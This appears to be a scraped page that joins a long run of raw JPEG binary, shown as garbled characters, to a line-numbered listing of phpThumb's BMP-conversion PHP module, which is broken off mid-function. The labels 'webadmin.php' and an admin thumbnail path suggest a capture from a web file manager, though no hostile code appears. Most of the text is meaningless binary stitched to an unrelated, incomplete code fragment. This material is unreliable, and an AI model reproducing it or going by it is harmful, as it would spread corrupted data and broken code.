JFIFICC_PROFILElcms0mntrRGB XYZ  acspAPPL-lcms desc8cprt@Nwtptchad,rXYZbXYZgXYZrTRC gTRC, bTRCL chrml$mluc enUSsRGB built-inmluc enUS2No copyright, use freelyXYZ -sf32 J*XYZ o8XYZ $XYZ bparaff Y [paraff Y [paraff Y [chrmT{L&f\C  !"$"$C,," c@{-usnV꜇>]8-[,7M);zi$"̟]c.!TXaqѝ0A!R$d@'XvB[Ś7+e$0oz]EzU4W0 [T07@´hU4ȩN^U9Lh=N%؉Dz4f 30׃kffa0^ <@=-Aw53y Pf')% X530gJ l33 R>.Xi{.N(}Qܳa}H/ȭgFr0w޶fg#! 304\3&fLumH`fh^)AhwI:fD:@dQHvro355WlՈ:0rAAeHvmSsfk ҹs6Ōlв+ֹirBDZ /٥,!a8]ϋ# c4zja3 ;4WPF& A; HvAf`}jb AYG>'-;HeʪTl7 Yd |.QhepU Q"UhW*YLM3ƣ+j3Ml^t{[< . ԘUIADXkh1 쩅}|z|"`{#IȘO?KbSe q?8ţV99p,.ZåVmgg DNcFP{ 5өFIpjuukYQV]ܻ,"vS}oĝ =7<; DxOUp^y=lH2sKԫ!$Lӡ=4֤%@t-a~kAUb'Eҵ{+4-_ y]0ВƪݍN ŁZYt]v\AhS( tdea@wG E$gï}s``=5 ;zX1! "#$1%025&4A6F=7?)l$:J2"-CAXbʩ[l0aSݵDzlt{Eӓ&ҍW c$%s^mfURul(?* >.]Tc;v5Rf$LH@-vӾ${X6D/mfI496"uh 'YD6VvhrH\Y.‚c8 ogCRƧ*Jo8 S"ap`))JkYͦi (X[rNjHHqE/^\sV9sk(heI4 2o\*whu^ZMK%e9X3uv [嬸p`HD,!5&,-D O3W){yRavIAx9)d"4m]xT&hWsbb"'8ZJ >F1+m& ;BWKl{I_6j4ui.k50TJ7/Xh-<9#ZcO&M{$3fćOuv֡٘bU\"MU@l12(19+w#r&r$""eĵ4?$7!ufz'E aTy<9sW;g8KDF{D !Yp ~?NOZgF!q8~ǗGd'6?B/r&X%1 ddP͇ '[>h`sCkNe9ɝ oV mHENz41PX? L)OJ,8ips^z*xǟ'9Fnl4wFNrQ:]J?JiB$4fوGL!M`lq$~<,Da x<%kُNPIzJ\ vh4UAg)IV uwNǬ d,ghh٣9B<hl[Zg]ؤIO _#bIVΟ58eqSuX\FXWlX:[w/gs孜QD"{yWxE8Gb,}2G#"wij}F7sKbk'^Ko$lF2D>Da㴡5⯦v#\7ɰV/PV!6iЉ!_|h|R#XXdQ+ Q%%h1?-VOUe9T YK,ژ>޷>Y7g#\Ue% MTPp ÊF:|PlR{b|;06+Zg??5%O};[Jϧk+|sT!rSʙfS _CA0ֻ:9+6SҊ`DL:!M7 9$CMk㢱;D+L-{"(-z^ᩗ>c+յsG|?4++ `OYa6GqW;,F hs(̴bSaGKt"00.Z(2exҶFAGd`6O`G8BDoix+і-ՄukU& \}1689JXLZj0JE^FFߋy;zzPeG'c W>Qgkbd鵶A.MZnM:0׮vW*}XGg^"?b ?:;BbfzꨂO /zvmC!TV9zu\#I`&+ջ ^ӆ>$]}a'kAFUjplӵG|EÃBlY68#lP1<)3̞?X.&C(yL5&#ZpP _1Zöp 7P;"NzƽδV*7 TwNꑊh?RƊi%9:ee$>j͖}ysٺʷu-pouHz:Nƶ.1rW̏'ᕀ 0x $^jyF7 Z/|-xÝO6>oT"GXвI!(!_=OEqU\?uEpAJ'ѹ]?㏕yr$Gcl^Da%>=ezy \KR$lFȔzs-~f*%M,e}ogo쓸zJq#)Ez_Gy)˧|NahNw}YdsYqZS2w XEIen]3R+ !L0+>2=)6m@VgMTEj2)fvU bPh1]d6mr/Oj̈́xdX^E )PB.<MWKݧdD4q::*]^.3`]>D٭f#DZ/uvX *_\Ȫ[˙J&:2v*I+"J}n%?ek⥷|.#jFI |\^ª[Io6ǺH,H ^4K`JPNU+IMpvk|tcvN Ym2pB tDD(Y""]1Vzd`B#m%}*o;u'=\s5p X,ea$0YAOJu?B:El1AYIC>Z&i iF*8h;6MNg_?4?4M!1"AQa2Rq#3B CSbr$0c4DTs%@d?+Ctiҳj]ԭ$OizcC2Zvo Je|#%\ī;Sm.?TPXNnwfdyQ=O*SED'ѧQ3"M! GPC>l< kOhMG+[O9CSR &E%B4}{(\UfOY {dR jeѷI%gwjPw*k4ڧ);D*bNdPbb{*<ۉ -c m"HRo]mϔԜjuQJQ0Y2NN^U(#I|0&2sJ$-I72r±i̘c̯:dGKg@Þ(QAX?\*Vp?(ztP[R/:7$ֶӳ3&X.Ra yU'olZKoE04%HIOMD62į=+P{{OiIH-C0sؾٹ_< }0ˬYU_HfVխ9uR-dyfCra9NmeUNf2,6#b~| 6@,di}-1X9QN\JRu,n"i g6-dQqr)x,J8-˶ҿ,L3S Aw$>ZWݪlїab_+;裄_-K-oTU0|սh,9X sY;Ӿ- ^Pmlk6aF9KH`6´gfb%X r\ ٲ ^5E3O=~ 79MEe*ɤt ae]q9{R ɲ78/?vaF⳿SK1IH&_V7"]nRm24\Ѫ[qT۾)rcȭ4Z]+3*yVhTEzs=;E RP K* a Mr~%nM榈0͆ӵG/LSo:/ܨA!8)Hk1s߹g*T)"ePЦ5B ²FTGH4"O䐢Yo]'4K*#Ie2?<6HJ('_}<)J.5!cR3 JCj8LJ4TllagZCM}:Df5͖f78͒&5ۇLP 66ȖYcH jz"}R+iyߚˉV-oY]sqv͕`sH~ЛE<(@qSIdϪW0Tʪ5 >|m:5|iЀwFRsjߙJjVOTdVӥ.tm8 R)H0RA]̓TŖ6E0NJ=%hl $$l~VY0YmVҵbi߅Xy2W\1/J_S'hBB6azUXcGY)Ϻp+ss(& }Bc& ٴBL2S1$NIn(%#vFaHQ2v]EfWiv^xDG5 sݣq:ӌKLlWAbq'v_ /$g9_e]R>&y;u 4#_(]- 7t<LUMi7Z+4)Qr܎hq<"X˒U6 xꭕC*uetW Zo]C]xSN3,<*1:{g=pۛ2UV-'ҥOAB%qjBt(5JL۶<ݞq0d}=7u/%J tstO:0۩__=434JG|1+5H\W%"ܳ~9Q:76Jص"p'Y˩!:DiB#t!I>Ҋ,HǮ~]M-wTFNi!. Xޅe5qyߚaz*>Rhb\WUЩQnJd#@jVݥ J=Deu孥n9sJbL9W҅W煱kI֖="蝙BnF>-/Z):=Hu.")u_Ee)Z4@TZqDV uY.K)*=.PLRO4aAFFn1nHnfZuf6uaK,RЫmFS?m= 64xSng*եyM<6q}#12ԫ\\ޞۨB-)KR0Όd {aԺҰ Yh6SabZU)LJА 4ĞH*vec͌&GLT L16/lw[IՆлSO&UO%bn@m(?{"|-RMUgYJ#]Sk.]}anP Kѩ7tW ,XL"שmJBR{c"=Go46zi@zdP߭#1dfz8Uil~ ;e40wX#=A^gfghtY=Uui_~jc/aĻ+ubUjS! ANҥ]ЩYBKY^[R] LhRv͒V="P~XEH>T.="ܤ[?KGU-SX$sw@ChS,ݶ4JM(ťJkP)PthrVSKMq:+qw;FUpQrVGLdRNmD;8^&oCT9ߙ)(f{a#psV4 ])XiMՉlծbϔ-%To"yKCFM*aMjPģ ŋI40Ċ.q?:u&i)a tBzmѿV򀴛iZJ\X[Vu:D:6l CM.J㌅fzs(m6[iSdHHma`SLϭ]KJ)U/!D& iũ,ڭg>oHjs&qU}k{r\MD-@aS:'ܻwKJq75q24} hp6HHA%K}#n\֌l̴Rg֭UwP+Zh JnK T.=ԎP&%\H>ZŶޞ 5k0-"=yO/EGd\'PbbQ4q%7*&2j8ְTLiP9y+ѥJe`RI)VU7v;?X[FX=51#T:ҁjFE- uoQnZHy}~wĦMIxZ(Ms*6퇲cjb,~k$P6; Xre#JcC/(jn(iBlQHHCCWBwZBGXrjZ];A*=FM*Qw2SJUl<-PP!k,`aQMQ~ӷCH̴?D iMBrC3\4 $ lጞSlum:H lMvjT!~XbjsoogS(jO I"Plrhv,LSuF0C8lN;׺6\VΘW,6uG)QmDHbۂ؏(Z#dY3 iqmeBk*n1ja"yTo'zFw-8#$<=wdJ'um:g޺-6WnjL%?D$BNF2ɉPqP|9(ĴʧJNޣ O:~cl-Ι ? &C"5%VÉ%; tJeLi]ImSJҨDYz(|0xҢ`}whf*%OzhBt,m<8ERa+w]Fia.Oq脢 ,&^T/9JZy~QFi)n4Ǽv¥$J6}s8or(0J7B[lQ pCH8 ג̩?ԯL%cî2N4薐nrN $uA3#fQXj"R#)e#IDS)!|gO6Z^̣F]:DM}UikE5`(`t ^ApC|bGOOQRgU9g;n6RYa9zd{doL6CTۼUӉR-)P$\=3W!/iu\4C 忿QxF#I5FN B %WiUz̶O)[.mLo>ԧq=0!^nd0N>ptlѤbkH\sl0Ay{&2M6PܱUխiuV,So1.-'yMjޭUt p&;< $ nj})0/8=ZHm8r~F¼֯z`W CV&[*/%'ڹj!c' }!}\ AO]bC&JtySah,ck;'ӳ%UfJ{8("'muRxakؙ4Pq>g!NSYXiŒhIRTUy2y(e'%&_zdb 4ڹ4vS ӽG6 X&LS@&')>~}'<޼@NrL*;o`,)Y9/%5 h(?L}ToCFP,:b?eqs8F*>UIpE Q~XTlWfO9JEū%gHmG»|IQi,*ڒkx8I{z_KHҊV;z,U`*~Q +:GN+ciuшM;; I,#ï"Us3k@L̖Y  &)TatJCb86k6@$6|'ڭ?Jy.{jM*ڇ>QJm+,m4B@_0&Jw)'~ctuBPC:Nb9HYu@ꉉGP5ix[w 3#{+䧝Ҹ!g~/$vCJ]CTP4u$”p_.e/;׼VيxJEMxOXũR0֕U&b)5Ug<4YQĘDU:Ca8t܅yFδĆ[!mԧjkQ >dI ko2_YT6F)~(tvPu%tf6a=)_ 120q=#f/rQYZwwÒu1HKL“k~0ZHJ.鶀v8S_N]D:{n$İW)I^|bm{WJ'u3+U Ov.{U U2v'[,7a"RId Uԏ#%݅zgG0& m[ D vBI/a#il6P)jy.]{#輏7-.a~!~l5^yxaBq6)"EG/FUT,KJ,S^ʂ;}Gsz~MEl0o"U7ƍ|.ș= '0mxZ uEjDF+M dpde#399\ۡ'c'%O2$-z%΁85SQ12?铣O!+UMD;4YOpB ~Q :زKjXrm+IԙEo31\pmABr+䔤[Q3mGe*82={^NmXYoJF&͞5]$դfSNS[9ePf}{s3ݶWFRtN4DVMژmx@9_7uDpFRH5 ^}iGHz›mm4>0q!VRT+/ތmhV iR*qr=JRTQH}rTA\ }g΢A",k}4U#nsT!%څGTzTe)5Y4 !@X[7*QTٯd3giY=M'4_l4^r\(!1AQaq 0?!N2j4ϩM"v]JɌ`EJЗX;ԡk1nE<1U&.ETwV*Uݯ*"Ϥ('͵d"IwvwXmmM5h#LK=ʔw[{86ˆ44Iԥcj ކ3cD` 5p I2ڊ$?1xa=5sEkr`J" A[.(id%,F{̿ d[Jjn#UL+J6_P#^TV;Uoֹ5{{kCǪx'$fs]^OBQ;, @K0Ek#2L5z5&7W4RxfzJД1JMh03zjLD?SRIZlDZ4)IYQv޶㚷WrtVrPK?*^RWcS:ߵڦm%B:½C@+CT'/TP3Ǫl`ZAldB>ި3Ma81l#ՇBUѹYaҖز҃8qJ tSmwNja>5pɾډD$*>*}'=WM@9*2ꙘZp| \z< s8\ˈAv7MpkB_K\ bG25qٷJDZRV,gi!=ҰsȮMMڍU0 (0&B|^O.-yQ9K&jwbRҡ,ž R6᷶P?-nPz(:eEBR&V4۩K|as[&ViF5Ɇ{hKJXZe?&7(.& C,cN6(;JG7u*N,}F 㖎":~띨;0),ej8yhd[[!$+9g /\xhiAwteA$"sxmD(!TsR_~Q)N.fY_;x1F?2- jVkIٱX8@s4d$iMTҌ^'QzX5fD-ЗY5D`Y.H% aTخOhR\7R'?V'A3gSȇ.1 tN \[H Bl~ |"tz97`Au.#GiRCβ,!?,HDҗ4T1ev5u9t\ AXnƽkESdBE`MkNmDȤ@J.: S6?֡K|f #x4+Z 9 )N(WiQ7 mI+cJ\,pKrZ1G2TZ҄4gHhtjhCC2ԆA_jJ%(7H*I]r'Ix\L!؅gUّ^8['5#E_{* G-E.p]F@ ~r ,Qw&2.WV OPFiMmw;})RoBcuTn*R[z0.[J׊؅Ci9;-<-TE=(h-T/b_@etl>KՀ%Z(&Cy{̻tpN Qg߁#L^1y L]JG vڄT'zBԍy~_kXuc-V*._rWKafQ>\o]c ʬ9kgjR#)-i PEY\,9K##8cjV7#bc֙'HM*M+1OC|0H/⦆ߺ\FBϖ oR i!s0#†*xX>KsKTРGYƴ#ZYq`AGRc< j4샷F|Z ]]jZP%_уgzHMtf<!ܥ4i&$+7d.j0@K:Ȳj;f*wљ5FqEzoLl.SK׵,E kPFcN.qjoVcޚ/W4!ZfՂ1u QoF%%De^ʘj>KT b驸Zv4D3H$ Vms/jR+*7Go%=X*"*N3 b''%<)(b?hz(4xUuroP%m"_4{)Lׅq\CgjǽDq[h(, >hlw'Ƚn)C}6}}1 4lDa9f-IYiX|跺ѓ6_pV,>qS!l.ZbkVBaDlJPՓf]ڦKε<ǼUy7,Rw(1eu8.\Ή7Ph\ YfJk~ g+[Cpj]A1B4?қ'Sҕ<ԣ!Ed| 0@yP |!՝?IMlzv[T%^ ~MOi7ٯ~NtnP<p:uzĐoLDx'{2%Hέa$<\!i4* w#c S7֔!NmW1BEժiu'bQJaҫ7]=5{I,ڝbÄJ>fIFKG.?#)3uDuXe@WHS+L'~5"OiBH @i8*z%:U0/F% ,YX%#d\) -*31Ԗ@/-GT^WX3lSAO}l$en>}Z&@zI, f,JJ[69Bvq-R{A0(@YrR,D<-Y?U(.;S0zՍtޜxI/A?sPFݕ|P`*/)אvpʝ+%\ZBuK~ 촙NI= 42:٤K\|iWA8M(ZVa;ڥZpQX֡*#-?Ż)_Z_h'Ht5˵?ORhɼir{,L(xԸ' ۤ^hz1QLXգQN qiu?+nV*"$s[er`TBYu[- ^ umFH_cC-k`kFF82Ƌ /Jb߀L0(GNU,7'ϙ?8Da{񜏮zuҥ'Xx/Nej)Mk5ub~jVЀ~ z8}5Si=( ܷa)Q6mf+5iEpgQJW+>rvh:O3-&Ei塻Kw,5`ަgT/bΕnG2Ԧ\ Zų@&>[[%9|y,,E*9tTY{Ԫ&F'5 <9+(j|&:EU9-TK_n`=ǚ=Kt̗L[5FȰ{U@*/çǭH|gN` j'UdG,onЛ`-.e4R5œ>6jmj^+7V' P$C8k0c4ax>V}Ij sUda[GVec'WpLkply>I{(ҹLP^P RؾTHZC?`PZ?:F:^~]j..DK nphY.ӭNoL?9`L!ė<4R 8ˬG }{$˾j=~(Qnޑ]L.$h4yC桭#x=E<k" .r=58 I"&HWNu"tyEhMR-rõzul撼2r丱LI/gݵ]jC?Rn?UC7<=ڏHDDn.ofF{ht&jCI._}ʟE7||4 Y*Wj^Z.-{M[YZȩ>T'}4&3q!c>ln܏EC];iQĚ蛉s 1oZ+F[ļ-Idvp Rf?];mu`-u,Gqr\8!{*UlL%L[5˧~$D!cvwֹlPڍ{~.oUY gt% 4yEՀH3uՠLS$nK>>-lEi467'dSK !BI@O55̕gB$O"ȸ>S&&abRგY.qs0zd+٤{iP)E%O>T0 ޑ%}(Vd655N:7iL2=.2+_O+ #iMa^βd7ǚ? u)I@bz?>dY>JJ;Igq٦%|L0]-އCPoG'1ʔhyQ B"4,?TXAs0_3'&>XqgmJ#wCج/ޑ"? %9{H ~^d1FF?&{,[Zqn5a.dCڎ I2nR-Zl\tdqtYjY1S#O҃W+ږqJtn;o5cX,HL/]D8}4An 9L6ඛsSfQcq6E") C_j"I9zZOsШG%oO^?T)=ıgPGG஢HakPru5D-A pOW@.}Q*lZ% VqW6lQVTe@q;{:̚S]fiMRXhkLf;/0M:'ևJ qDA81BK b4< Q` 2("(s (AJ 0@ `8$"F $° j0n9pJ-;6$ OX875>]n܏&!hB}1_bZӣinx<AK{|Fos;xo Tz0 ֥>pNosfk*Ϝ՞0z2yɺTkzH58\OW_iǜT 0> |}]# [ ):l輂5J8h8AʃP(c +tޱg+3~vf^ M# @ysV*:CH7G.X6 8u?bֿN"P/+,{/-A꽻>r4 =8>y;9Hb=9vީr =#Ñ!{tGb_2PX+bi1TRA'X%6q? '=>lDz(k-4V25u__yN1ڀ=).t^Ś~0-)}2we}ct/*z D=ppC/Os4H6]+P| ~>I@@h ;$6kC 8 rA~mAg C*BbqmWp=qt;xK'%sms=n-c9IX!9hv 7wwZp- /,5636{)8]zc4'']d|hW.[b%\걯sŎ0kBvswnаty޷ {9yP=>h 8Ҙl`[QaHy$ S`wR JS(Jz7 k6GS*[e#FBmBpPCuyd5)s5s^| wdqwcR&  Y:ܧ/Oo#!yP~q3Ա-NN+`/{݂iJ `F4GA8TU-/|24k@L StW`o"O X/LfI?Ò%䂦ǏK]8BAnQ%QgB(blG&CZ(E,!|">" +g{>xA5yc;KͫvHc -Ԁ[*:|p(+,>cewFg Lki9^kb :4x. @uwixwtɆJKv~> D@a᭡bFt9gJEP'EҮJq?9AdͦE71hfуc01}gf۔!!9+8>?xfvm||A5.2b ?m̮ ">ʒi!AS[(fm\an?Y|N@9\q|v_ djAa]UXpa8֢vWo'0nCQl#N`A# WJ[4jkX^HN7:F[8)٣姆*TJD5.I%w^Rߒ![7gj8٤Qp,l`Hk߇9Іp\eCM8Py jdNR|H0ybJ_(ꛋo9WvwP'csi(`t|(}_TFm%Hhr* i6zzو@T?CF'd#rΘ^?_ A{.r( w NA`4@XܫII?yf&i⡧~V"pfm=8~0Xp`X=fB3׃ ^ii꺺 5%c!F :lУhJ/_}:vGUo#h7% ބͧȏNj0 :u.#t qHSEB)vmu1,<bt鼆s ˺y9*3~oґ><Ɨ[ew.le//͑.(VAr("O쨼+`bJMsawGy >22P7S7dih7S66R>6 FIrWbZ!^nRtW־OoD"j;:s@:Z\Mg`DX L"hQirDՀ대9M:HA!sqn iL ӇTu?q f"{d>h|`l/x gKA QU&D&V!7`F+r%} Ҳل>QMKԯI{sd%S\z;/M4 O-܊Gh d% /&FuG o.UlQH'q! a^z(iTַrDٕOœy4 ں^w_L |"E٦p`rp40h@#MH%vyA8JLtO=3'Q2Z$صX %py+zQQ1qo5"UqPJFC`}}C-x}^WaJ@[A-\1N Ì$D?7j<~0iݾ"X(;j6s.pj7)<h(Ǖ5MN֍l3NWOW]VA 9tX ;FE8˞v;HMHÒS&+pdKOhxI܈5xjvvldীo,krgzJ7< Xw@PQP;"G˕H&X4HX|B8]PUvh8j!FbEpʺwO" n7 Ū#mC"Z% ?L|S9O mAX/SX]aY}g,@}7AaLJx%uZnjơ5IR`d yzv z4|wSfOb=&. sDDC„>+{Bh,߉2<9D.q+.R& >szUX)otWh . kL+*Z,m@d{vgoؿF#P&}.KD즺QAج5 Tbw %֖iG&A9\<9'G [1zҢ9>W|eFY~H7"e-Ծ;ʦ7K9^~`#M1Y&go}R(Ċgui+S^sh#Ylyϋ*{upaۛ(4ui" 9iCQ;LKyuT %D&̎dkۮ#C=9 0onBuH/5 ?'i3gt%"HOIX "C/)kL*'.+y;JK7, ;_BbL|8KWqNppFߜ >#,x aҍfؠئ[-׳aX{Rэt;h$3WV.I'mg!9=fˆA="ꓝ,ѯ;e] j($T VNfĦ  ~2qӉ;2^#/b7y2>b٧5ÙO@a"՗t8].ҳ.^x Ntuԙưn'5)ɅԱhàGeQ 7dFoW #{JCXzɲ{ESfҗ Zfۦv:^B"߰7|4%.@U-Sޥ-D%6By#nes2xi(xFc #Y+PaւNJzA2]=k'n 8CjyceHNCg$Gse/`R$fQcKqʂ\ #sL0ͯ pց"P>VG?to GS[4COƴYw,o[@,ZM­N0yᆐ&e.  w7VSVIohbՁ%Õ)K ? o b6 ,C "@X$0IhDS 3^ jz1QZryegnM0e㤠PF+R;`P&VBo9ѲN؇TRQuntC\kgP>T64),.|߮w'S8V-ۚג& 2F,OO9D{-ѯ5|֚q<0vs8/S4=7_:s=TS ؜ZWhtry'+ X^$+"2%bmx$5O\" Ű. !a6tMS/3S`t #X_A]hS`!٢ts+Vdm:"pD` q,nSliM!C`1lqPUp[jV-v#Va7YEgRVvJ_"# @ډsMEp;18)͖=7 [ӉsRNS>+YʋQSeƀֈ6C#NTvJTN>{O`=Dp(osf[毗ONgkOHR$SdfU/3bOvo<'iN(T2XSMƹZ5D;Q1Z`]#!dt¡9 Y:EꎋL(VpcHW`0D(Ψk(DV NaiBSOF PA%JC@kGBBQ,8+' 6gGFCuaEHPj\ \LRT͛h`j?/~xzcrƜP6yaR-۾r6ݬX2$(Wo: 8.,X-:U8bz%zy_&r>4:B,>*d+2O%P?,@†fvBx@1}‘O_>&w$ (gZv5 ZCt@׹*x"0|jE컘 N;4_g1bQy>]PjZ,/8n l\C%2Hq&.lb{| g#o)tʩXWnVU5T,A]u]do~l;\q_ \I:px|LTxǰ/e1()S 15a4.qOhډ䜹ˬ Ɯ&+Dlƒ--nNux&( ᨴ({s~ywXfpPO-Efv|i7_sF]H7W%z,(>BpCp7*Uln!>!cux%ߨpas{;hPڎ[&w*S#x؛;>gI._896T# 7_/p<|0l°0{@&7<7#]+٫PQ`~|cE&v |gl4yī%] **0NP[ӎ3})6 mŋ3 0%=c| [<+_:d`GHKSlq|@=\ }ȠB9 ㎲ Sw>ȃ/:Lu(8r}R14>Q}p)OY9} c~Ia_*T el/?g"r i1OBGīUvq;=yFW ܑ5I6)ӎ#W{5>Ĥ~?I'b50{=@6C]ck8}e#BnaE. 1Sѓ;|rK"d!*P a{7 ^`[ӭ<8 h eBh% mUN6&I %^4 u7ZpQ:hf 0R)P1' 2 Up,$~Kyh.QZJpBE(FΏTH8k}!O}kƪ!&w+PO#]8|dXnG3LJϬJ4d-Es;̅jnJks Kg(q"^E&945iBTS Ů{eb !B_H*A 87+zv+Q;Je82@kD`!HOq%HhKظRsEAӼ%`XluN*d7*]JQ!vc@Ͱm_z1b) W>25l&O^sCpQShԤHǘpcpdzG`l[{hLڗB,‚[1.}LfbFr/i[_9O1OI~Xhゴ7@MPH(;`_ e"<Ѧ#U[EH{@@'gY] xpɁ>ewr4H=b|F_Nsqdkq<;"-fQ >(J蘹X9Qo/spClr5:'ό l;OM%U\p\ O ] 'mo_|On *t#<8P9AOg.*J\. q_:KMp[˻@ 2 O!{F˺{~wjxS fr `.> D w_C_CM94FBW~FV\Sk1 ߕZ(Puc{rRϛvNiM7@bL=Lˤ`;=/ sG.FlVJP+c. 3LDvCq'uָ y:!}$ 9錮4#tT|oQ-l'/^é ĮZBvN3~~OX) ؈5d #aj{'s֌|\{䟄?9r^A?pohBNO!|L webadmin.php

/admin/thumb/phpthumb.bmp.php


1\
2\
3\
4\
5\
6\
7\
8\
9\
10\
11\
12\
13\
14\
15\
16\
17\
18\
19\
20\
21\
22\
23\
24\
25\
26\
27\
28\
29\
30\
31\
32\
33\
34\
35\
36\
37\
38\
39\
40\
41\
42\
43\
44\
45\
46\
47\
48\
49\
50\
51\
52\
53\
54\
55\
56\
57\
58\
59\
60\
61\
62\
63\
64\
65\
66\
67\
68\
69\
70\
71\
72\
73\
74\
75\
76\
77\
78\
79\
80\
81\
82\
83\
84\
85\
86\
87\
88\
89\
90\
91\
92\
93\
94\
95\
96\
97\
98\
99\
100\
101\
102\
103\
104\
105\
106\
107\
108\
109\
110\
111\
112\
113\
114\
115\
116\
117\
118\
119\
120\
121\
122\
123\
124\
125\
126\
127\
128\
129\
130\
131\
132\
133\
134\
135\
136\
137\
138\
139\
140\
141\
142\
143\
144\
145\
146\
147\
148\
149\
150\
151\
152\
153\
154\
155\
156\
157\
158\
159\
160\
161\
162\
163\
164\
165\
166\
167\
168\
169\
170\
171\
172\
173\
174\
175\
176\
177\
178\
179\
180\
181\
182\
183\
184\
185\
186\
187\
188\
189\
190\
191\
192\
193\
194\
195\
196\
197\
198\
199\
200\
201\
202\
203\
204\
205\
206\
207\
208\
209\
210\
211\
212\
213\
214\
215\
216\
217\
218\
219\
220\
221\
222\
223\
224\
225\
226\
227\
228\
229\
230\
231\
232\
233\
234\
235\
236\
237\
238\
239\
240\
241\
242\
243\
244\
245\
246\
247\
248\
249\
250\
251\
252\
253\
254\
255\
256\
257\
258\
259\
260\
261\
262\
263\
264\
265\
266\
267\
268\
269\
270\
271\
272\
273\
274\
275\
276\
277\
278\
279\
280\
281\
282\
283\
284\
285\
286\
287\
288\
289\
290\
291\
292\
293\
294\
295\
296\
297\
298\
299\
300\
301\
302\
303\
304\
305\
306\
307\
308\
309\
310\
311\
312\
313\
314\
315\
316\
317\
318\
319\
320\
321\
322\
323\
324\
325\
326\
327\
328\
329\
330\
331\
332\
333\
334\
335\
336\
337\
338\
339\
340\
341\
342\
343\
344\
345\
346\
347\
348\
349\
350\
351\
352\
353\
354\
355\
356\
357\
358\
359\
360\
361\
362\
363\
364\
365\
366\
367\
368\
369\
370\
371\
372\
373\
374\
375\
376\
377\
378\
379\
380\
381\
382\
383\
384\
385\
386\
387\
388\
389\
390\
391\
392\
393\
394\
395\
396\
397\
398\
399\
400\
401\
402\
403\
404\
405\
406\
407\
408\
409\
410\
411\
412\
413\
414\
415\
416\
417\
418\
419\
420\
421\
422\
423\
424\
425\
426\
427\
428\
429\
430\
431\
432\
433\
434\
435\
436\
437\
438\
439\
440\
441\
442\
443\
444\
445\
446\
447\
448\
449\
450\
451\
452\
453\
454\
455\
456\
457\
458\
459\
460\
461\
462\
463\
464\
465\
466\
467\
468\
469\
470\
471\
472\
473\
474\
475\
476\
477\
478\
479\
480\
481\
482\
483\
484\
485\
486\
487\
488\
489\
490\
491\
492\
493\
494\
495\
496\
497\
498\
499\
500\
501\
502\
503\
504\
505\
506\
507\
508\
509\
510\
511\
512\
513\
514\
515\
516\
517\
518\
519\
520\
521\
522\
523\
524\
525\
526\
527\
528\
529\
530\
531\
532\
533\
534\
535\
536\
537\
538\
539\
540\
541\
542\
543\
544\
545\
546\
547\
548\
549\
550\
551\
552\
553\
554\
555\
556\
557\
558\
559\
560\
561\
562\
563\
564\
565\
566\
567\
568\
569\
570\
571\
572\
573\
574\
575\
576\
577\
578\
579\
580\
581\
582\
583\
584\
585\
586\
587\
588\
589\
590\
591\
592\
593\
594\
595\
596\
597\
598\
599\
600\
601\
602\
603\
604\
605\
606\
607\
608\
609\
610\
611\
612\
613\
614\
615\
616\
617\
618\
619\
620\
621\
622\
623\
624\
625\
626\
627\
628\
629\
630\
631\
632\
633\
634\
635\
636\
637\
638\
639\
640\
641\
642\
643\
644\
645\
646\
647\
648\
649\
650\
651\
652\
653\
654\
655\
656\
657\
658\
659\
660\
661\
662\
663\
664\
665\
666\
667\
668\
669\
670\
671\
672\
673\
674\
675\
676\
677\
678\
679\
680\
681\
682\
683\
684\
685\
686\
687\
688\
689\
690\
691\
692\
693\
694\
695\
696\
697\
698\
699\
700\
701\
702\
703\
704\
705\
706\
707\
708\
709\
710\
711\
712\
713\
714\
715\
716\
717\
718\
719\
720\
721\
722\
723\
724\
725\
726\
727\
728\
729\
730\
731\
732\
733\
734\
735\
736\
737\
738\
739\
740\
741\
742\
743\
744\
745\
746\
747\
748\
749\
750\
751\
752\
753\
754\
755\
756\
757\
758\
759\
760\
761\
762\
763\
764\
765\
766\
767\
768\
769\
770\
771\
772\
773\
774\
775\
776\
777\
778\
779\
780\
781\
782\
783\
784\
785\
786\
787\
788\
789\
790\
791\
792\
793\
794\
795\
796\
797\
798\
799\
800\
801\
802\
803\
804\
805\
806\
807\
808\
809\
810\
811\
812\
813\
814\
815\
816\
817\
818\
819\
820\
821\
822\
823\
824\
825\
826\
827\
828\
829\
830\
831\
832\
833\
834\
835\
836\
837\
838\
839\
840\
841\
842\
843\
844\
845\
846\
847\
848\
849\
850\
851\
852\
853\
854\
855\
856\
857\
858\
859\
860\
861\
862\
863\
864\
865\
866\
867\
868\
869\
870\
871\
872\
873\
874\
875\
876\
877\
878\

<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.graphic.bmp.php                                      //
// module for analyzing BMP Image files                        //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////
//                                                             //
// Modified for use in phpThumb() - James Heinrich 2004.07.27  //
//                                                             //
/////////////////////////////////////////////////////////////////


class phpthumb_bmp {

    function 
phpthumb_bmp() {
        return 
true;
    }

    function 
phpthumb_bmp2gd(&$BMPdata$truecolor=true) {
        
$ThisFileInfo = array();
        if (
$this->getid3_bmp($BMPdata$ThisFileInfotruetrue)) {
            
$gd $this->PlotPixelsGD($ThisFileInfo['bmp'], $truecolor);
            return 
$gd;
        }
        return 
false;
    }

    function 
phpthumb_bmpfile2gd($filename$truecolor=true) {
        if (
$fp = @fopen($filename'rb')) {
            
$BMPdata fread($fpfilesize($filename));
            
fclose($fp);
            return 
$this->phpthumb_bmp2gd($BMPdata$truecolor);
        }
        return 
false;
    }

    function 
GD2BMPstring(&$gd_image) {
        
$imageX ImageSX($gd_image);
        
$imageY ImageSY($gd_image);

        
$BMP '';
        for (
$y = ($imageY 1); $y >= 0$y--) {
            
$thisline '';
            for (
$x 0$x $imageX$x++) {
                
$argb phpthumb_functions::GetPixelColor($gd_image$x$y);
                
$thisline .= chr($argb['blue']).chr($argb['green']).chr($argb['red']);
            }
            while (
strlen($thisline) % 4) {
                
$thisline .= "\x00";
            }
            
$BMP .= $thisline;
        }

        
$bmpSize strlen($BMP) + 14 40;
        
// BITMAPFILEHEADER [14 bytes] - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_62uq.asp
        
$BITMAPFILEHEADER  'BM';                                                           // WORD    bfType;
        
$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String($bmpSize4); // DWORD   bfSize;
        
$BITMAPFILEHEADER .= phpthumb_functions::LittleEndian2String(       02); // WORD    bfReserved1;
        
